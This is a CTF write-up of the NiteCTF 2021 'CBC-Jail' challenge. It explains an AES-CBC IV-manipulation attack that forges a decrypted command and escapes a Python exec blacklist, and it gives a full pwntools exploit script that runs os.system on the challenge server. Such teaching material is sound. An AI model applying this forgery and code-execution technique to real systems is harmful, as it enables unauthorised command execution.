NiteCTF 2021 - CBC-Jail [Crypto/Pwn]
Post
Cancel

# NiteCTF 2021 - CBC-Jail [Crypto/Pwn]

1 2 3 4 5 6 Solves: 34 Type: crypto/pwn Difficulty: Easy Author: Pun1sher + Arkaja crack() the jail to get the flag. But make sure you get your crypto right. 

## Introduction

This was a very fun challenge to solve from niteCTF which involved knowledge of how AES-CBC worked and how to bypass a blacklist made in python which didn’t filter all the interesting functions we could exec().

## Code analysis

As we open the file, we can see that we have three functions, encrypt(msg), decrypt(msg,iv), weirdify(inp). which are all based on AES-CBC 128bit mode.

We can also see that the KEY and IV are randomly generated each time we open the connection to the server.

Also, we are given a “hint” by the challenge creator:

1 2 3 4 5 print('Welcome to Prison.') print('A mad cryptographer thought it would be cool to mess your shell up.') print('Lets see if you can "crack()" your way out of here') print("As a gift we'll give you a sample encryption") print(encrypt(b'trapped_forever')) 

Where encrypt() does the following:

1 2 3 4 5 6 7 def encrypt(msg): msg = pad(msg,16) cipher = AES.new(KEY,AES.MODE_CBC,IV) encrypted = cipher.encrypt(msg) encrypted = encrypted.hex() msg = IV.hex() + encrypted return msg 

Looks like the encryption is being done correctly and that we have the IV and Ciphertext, as we have the source we also have the Plaintext.

Now lets take a look at the weirdify() function:

1 2 3 4 5 def weirdify(inp): iv = bytes.fromhex(inp[:32]) msg = bytes.fromhex(inp[32:]) command = decrypt(msg,iv) return command 

Looks like we can manipulate the IV that is being used for decrypting the msg as it’s being read from our input.

First I’ll append two images so we can understand how AES-CBC works and why the IV is so important here.  As we can see, the Plaintext is first XOR’ed with the IV and then ciphered with the KEY. Same for decryption, first we decrypt and then we XOR.

As we can manipulate the IV, we could try to modify it so when we send the same ciphertext which we already know it’s plaintext, XOR’s to our desired plaintext.

It can be done because 0 == A XOR A and because 0 XOR A = A. It’s reversible operation.

So our objective will be to get a new IV like NEWIV = PT ^ OURPT ^ OLDIV.

## Exploit

First of all we get our input from IO, for that we’ll use pwntools.

Then we will create our transform() function which will generate the desired decrypted plaintext.

1 2 3 4 5 6 7 8 def transform(newmsg,iv): changeit = newmsg for i in range(16-len(newmsg)): changeit += b"\t" oldmsg = b"trapped_forever\t" oldxor = xor(oldmsg,changeit) newiv = xor(oldxor,iv[:16]) return newiv 

After we have this, we only have to think on how to bypass the filter, in our case we just added an exec(input()) which bypassed the filter. Now we could just automate everything and it would end up like this:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import * from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad def transform(newmsg,iv): changeit = newmsg for i in range(16-len(newmsg)): changeit += b"\t" oldmsg = b"trapped_forever\t" oldxor = xor(oldmsg,changeit) newiv = xor(oldxor,iv[:16]) return newiv LOCAL = False IP = '34.147.79.216' PORT = 1337 if LOCAL: IP = "127.0.0.1" PORT = 9001 io = remote(IP,PORT) else: io = remote(IP,PORT) for i in range(5): print(io.recvline()) encrypted = io.recvline().decode().replace("\n","") enctext = bytes.fromhex(encrypted[32:]) IV = bytes.fromhex(encrypted[:32]) print(f"IV: {IV}") print(f"ENC: {enctext}") io.sendline(transform(b"exec(input())",IV).hex() +enctext.hex()) io.sendline(b"os.system('ls')") io.interactive() 

And the result would be:

1 2 3 >>flag.txt nite{Th3__gr3at_esc4p3} server.py 

Challenge source code